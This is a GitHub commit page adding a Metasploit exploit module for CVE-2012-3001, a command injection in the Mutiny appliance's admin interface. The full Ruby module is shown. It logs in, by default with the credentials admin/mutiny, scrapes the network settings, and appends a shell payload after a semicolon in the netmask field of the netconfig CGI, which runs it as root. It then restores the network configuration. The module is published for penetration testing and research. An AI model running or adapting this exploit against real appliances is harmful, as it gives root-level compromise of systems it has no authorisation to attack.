Skip to content

Commit 03f3b06

Browse files
author
jvazquez-r7
committed
added module for cve-2012-3001
1 parent e1859ae commit 03f3b06

File tree

1 file changed

+157
-0
lines changed

1 file changed

+157
-0
lines changed
Lines changed: 157 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,157 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = ExcellentRanking
12+
13+
include Msf::Exploit::Remote::HttpClient
14+
15+
def initialize(info = {})
16+
super(update_info(info,
17+
'Name' => 'Mutiny Remote Command Execution',
18+
'Description' => %q{
19+
This module exploits an authenticated command injection vulnerability in the
20+
Mutiny appliance. Versions prior to 4.5-1.12 are vulnerable. In order to exploit
21+
the vulnerability the mutiny user must have access to the admin interface. The
22+
injected commands are executed with root privileges. This module has been tested
23+
successfully on Mutiny 4.2-1.05.
24+
},
25+
'Author' =>
26+
[
27+
'Christopher Campbell', # Vulnerability discovery
28+
'juan vazquez' # Metasploit module
29+
],
30+
'License' => MSF_LICENSE,
31+
'References' =>
32+
[
33+
['CVE', '2012-3001'],
34+
['OSVDB', '86570'],
35+
['BID', '56165'],
36+
['US-CERT-VU', '841851'],
37+
['URL', 'http://obscuresecurity.blogspot.com.es/2012/10/mutiny-command-injection-and-cve-2012.html']
38+
],
39+
'Privileged' => true,
40+
'Payload' =>
41+
{
42+
'DisableNops' => true,
43+
'Space' => 4000,
44+
'Compat' =>
45+
{
46+
'PayloadType' => 'cmd',
47+
'RequiredCmd' => 'generic python',
48+
}
49+
},
50+
'Platform' => 'unix',
51+
'Arch' => ARCH_CMD,
52+
'Targets' => [[ 'Automatic', { }]],
53+
'DisclosureDate' => 'Oct 22 2012',
54+
'DefaultTarget' => 0))
55+
56+
register_options(
57+
[
58+
OptString.new('TARGETURI', [ true, 'The base path to Mutiny', '/interface/' ]),
59+
OptString.new('USERNAME', [ true, 'The user to authenticate as', 'admin' ]),
60+
OptString.new('PASSWORD', [ true, 'The password to authenticate with', 'mutiny' ])
61+
], self.class)
62+
end
63+
64+
def peer
65+
"#{rhost}:#{rport}"
66+
end
67+
68+
def on_new_session(session)
69+
return unless @netmask_eth0
70+
print_status("#{peer} - Restoring Network information")
71+
cmds = [
72+
%Q|echo #{@netmask_eth0} > /opt/MUTINYJAVA/nemobjects/config/interface/eth0/0/netmask|,
73+
%Q|tr -d "\\n\\r" < /opt/MUTINYJAVA/nemobjects/config/interface/eth0/0/netmask > /opt/MUTINYJAVA/nemobjects/config/interface/eth0/0/netmask.bak|,
74+
%Q|mv -f /opt/MUTINYJAVA/nemobjects/config/interface/eth0/0/netmask.bak /opt/MUTINYJAVA/nemobjects/config/interface/eth0/0/netmask|,
75+
%Q|sed -e s/NETMASK=.*/NETMASK=#{@netmask_eth0}/ ifcfg-eth0 > ifcfg-eth0.bak|,
76+
%Q|mv -f ifcfg-eth0.bak ifcfg-eth0|,
77+
%Q|/etc/init.d/network restart|
78+
]
79+
session.shell_command_token(cmds.join(" ; "))
80+
print_good("#{peer} - Network information restored")
81+
end
82+
83+
def check
84+
res = send_request_cgi({
85+
'uri' => normalize_uri(target_uri.path, 'logon.jsp'),
86+
})
87+
88+
if res and res.body =~ /: Mutiny : Login @ mutiny/
89+
return Exploit::CheckCode::Detected
90+
end
91+
92+
return Exploit::CheckCode::Safe
93+
end
94+
95+
def exploit
96+
97+
print_status("#{peer} - Login with the provided credentials...")
98+
99+
res = send_request_cgi({
100+
'method' => 'POST',
101+
'uri' => normalize_uri(target_uri.path, 'logon.do'),
102+
'vars_post' =>
103+
{
104+
'username' => datastore['USERNAME'],
105+
'password' => datastore['PASSWORD']
106+
}
107+
})
108+
109+
if res and res.code == 302 and res.headers['Location'] =~ /index.do/ and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/
110+
print_good("#{peer} - Login successful")
111+
session = $1
112+
else
113+
fail_with(Exploit::Failure::NoAccess, "#{peer} - Unable to login in Mutiny")
114+
end
115+
116+
print_status("#{peer} - Leaking current Network Information...")
117+
118+
res = send_request_cgi({
119+
'method' => 'GET',
120+
'uri' => normalize_uri(target_uri.path, 'admin', 'cgi-bin', 'netconfig'),
121+
'cookie' => "JSESSIONID=#{session}",
122+
})
123+
124+
if res and res.code == 200 and res.body =~ /Ethernet Interfaces/
125+
adress_eth0 = (res.body =~ /<input type="text" value="(.*)" name="addresseth0" class="textInput" \/>/ ? $1 : "")
126+
@netmask_eth0 = (res.body =~ /<input type="text" value="(.*)" name="netmasketh0" class="textInput" \/>/ ? $1 : "")
127+
gateway = (res.body =~ /<input type="text" name="Gateway" value= "(.*)" class="textInput">/ ? $1 : "")
128+
dns_address = (res.body =~ /<input type="text" value="(.*)" name="dnsaddress0" class="textInput">/ ? $1 : "")
129+
static_route_address = (res.body =~ /<input class="textInput" type="text" name="staticRouteAddress" value="(.*)" \/>/ ? $1 : "")
130+
static_route_netmask = (res.body =~ /<input class="textInput" type="text" name="staticRouteNetmask" value="(.*)" \/>/ ? $1 : "")
131+
static_route_gateway = (res.body =~ /<input class="textInput" type="text" name="staticRouteGateway" value="(.*)" \/>/ ? $1 : "")
132+
print_good("#{peer} - Information leaked successfully")
133+
else
134+
print_error("#{peer} - Error leaking information, trying to exploit with random values")
135+
end
136+
137+
print_status("#{peer} - Exploiting Command Injection...")
138+
injection = @netmask_eth0.dup || rand_text_alpha(5 + rand(3))
139+
injection << "; #{payload.encoded}"
140+
send_request_cgi({
141+
'method' => 'POST',
142+
'uri' => normalize_uri(target_uri.path, 'admin', 'cgi-bin', 'netconfig'),
143+
'cookie' => "JSESSIONID=#{session}",
144+
'vars_post' =>
145+
{
146+
"addresseth0" => adress_eth0 || rand_text_alpha(5 + rand(3)),
147+
"netmasketh0" => injection,
148+
"Gateway" => gateway || rand_text_alpha(5 + rand(3)),
149+
"dnsaddress0" => dns_address || rand_text_alpha(5 + rand(3)),
150+
"staticRouteAddress" => static_route_address || rand_text_alpha(5 + rand(3)),
151+
"staticRouteNetmask" => static_route_netmask || rand_text_alpha(5 + rand(3)),
152+
"staticRouteGateway" => static_route_gateway || rand_text_alpha(5 + rand(3))
153+
}
154+
})
155+
end
156+
157+
end

0 commit comments

Comments
 (0)